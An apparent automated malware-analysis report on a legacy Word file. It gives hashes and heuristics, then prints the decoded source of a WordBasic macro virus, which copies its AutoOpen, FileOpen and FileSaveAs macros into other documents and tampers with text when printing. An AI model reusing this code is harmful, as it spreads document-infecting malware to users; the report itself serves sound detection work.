Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a79cb229833ca5da…

MALICIOUS

Office (OLE)

45.5 KB Created: 1998-01-26 15:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d562085c2b6019bae9bd35d5790f83d4 SHA-1: a2c4471f13a331ff4f1c26181e915db366561fb7 SHA-256: a79cb229833ca5da3c52e017683883ad3bba78e72c1841282014f5fb23b033da
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Microsoft Word document containing a WordBasic macro. The macro is triggered by the 'AutoOpen' function and is designed to copy itself to other documents, indicating a propagation mechanism. The presence of 'FileSaveAs' and other macro names suggests an attempt to infect templates or other documents, likely to spread the malware.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27503 bytes
SHA-256: f1822205ebe1ca797b6aa70192ceec41c98064b6e3616296666bbf028667312d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Dim Counter
Dim bAutoOpen
Dim i
Dim Macro$
Dim bFileOpen
Dim bFileSaveAs
Dim bFilePrint
Dim bAutoExec
Dim bWordDE
Dim CurDir_$
Dim FakeDoc$
Dim pos
Dim MacroFile$

Counter = WordBasic.CountMacros(1, 0, 0)

If Counter = 0 Then
    bAutoOpen = 0
Else
    For i = 1 To Counter
        Macro$ = WordBasic.[MacroName$](i, 1, 0)
        If Macro$ = "AutoOpen" Then bAutoOpen = -1
        If Macro$ = "FileOpen" Then bFileOpen = -1
        If Macro$ = "FileSaveAs" Then bFileSaveAs = -1
        If Macro$ = "FilePrint" Then bFilePrint = -1
        If Macro$ = "AutoExec" Then bAutoExec = -1
        If Macro$ = "WordDE" Then bWordDE = -1
    Next i
End If

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Fail
CurDir_$ = WordBasic.[DefaultDir$](14)
WordBasic.ChDefaultDir CurDir_$, 2
WordBasic.Dialog.FileSaveAs dlg

FakeDoc$ = dlg.Name
If WordBasic.[Right$](FakeDoc$, 3) = "dot" Then
pos = InStr(FakeDoc$, ".")
FakeDoc$ = WordBasic.[Left$](FakeDoc$, pos) + "doc"
dlg.Name = FakeDoc$
End If

If bAutoOpen And bFilePrint And bFileOpen And bAutoExec And bWordDE _
And bFileSaveAs Then
    WordBasic.FileSaveAs dlg
Else
    dlg.Format = 1
    WordBasic.FileSaveAs dlg
    MacroFile$ = WordBasic.[FileName$]()
    WordBasic.MacroCopy "WordSU", MacroFile$ + ":AutoOpen", 1
    WordBasic.MacroCopy "FileOpen", MacroFile$ + ":FileOpen", 1
    WordBasic.MacroCopy "FilePrint", MacroFile$ + ":FilePrint", 1
    WordBasic.MacroCopy "FileSaveAs", MacroFile$ + ":FileSaveAs", 1
    WordBasic.MacroCopy "AutoExec", MacroFile$ + ":AutoExec", 1
    WordBasic.MacroCopy "WordDE", MacroFile$ + ":WordDE", 1
    WordBasic.FileSave
End If

Fail:

End Sub


Attribute VB_Name = "FilePrint"

Public Sub MAIN()
Dim Id$
Dim i
Dim Gay

Dim lox As Object: Set lox = WordBasic.DialogRecord.HelpAbout(False)
WordBasic.CurValues.HelpAbout lox
Id$ = LCase(lox.APPUSERNAME)
ReDim Lox___$(5)
Lox___$(0) = "386"
Lox___$(1) = "gay"
Lox___$(2) = "gaj"
Lox___$(3) = "ãàÿ"
Lox___$(4) = "rus"

i = 0
While i < 5
    If InStr(1, Id$, Lox___$(i)) <> 0 Then Gay = -1
    i = i + 1
Wend

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
On Error GoTo -1: On Error GoTo Reject
WordBasic.CurValues.FilePrint dlg
WordBasic.Dialog.FilePrint dlg

If WordBasic.Second(WordBasic.Now()) > 40 And Gay Then
    WordBasic.EditReplace Find:="ÿ", Replace:="ìíÿ", ReplaceAll:=1
End If

WordBasic.FilePrint dlg
Reject:
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Dim Counter
Dim bAutoOpen
Dim i
Dim Macro$
Dim bFileOpen
Dim bFilePrint
Dim bFileSaveAs
Dim bAutoExec
Dim bWordDE
Dim MacroFile$

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo Fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg

Counter = WordBasic.CountMacros(1, 0, 0)

If Counter = 0 Then
    bAutoOpen = 0
Else
    For i = 1 To Counter
        Macro$ = WordBasic.[MacroName$](i, 1, 0)
        If Macro$ = "AutoOpen" Then bAutoOpen = -1
        If Macro$ = "FileOpen" Then bFileOpen = -1
        If Macro$ = "FilePrint" Then bFilePrint = -1
        If Macro$ = "FileSaveAs" Then bFileSaveAs = -1
        If Macro$ = "AutoExec" Then bAutoExec = -1
        If Macro$ = "WordDE" Then bWordDE = -1
    Next i
End If

If bAutoOpen And bFileOpen And bFilePrint And bFileSaveAs _
And bAutoExec And bWordDE Then
Else
    MacroFile$ = WordBasic.[FileName$]()
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "WordSU", MacroFile$ + ":AutoOpen", 1
    WordBasic.MacroCopy "FileOpen", MacroFile$ + ":FileOpen", 1
    WordBasic.MacroCopy "FilePrint", 
... (truncated)

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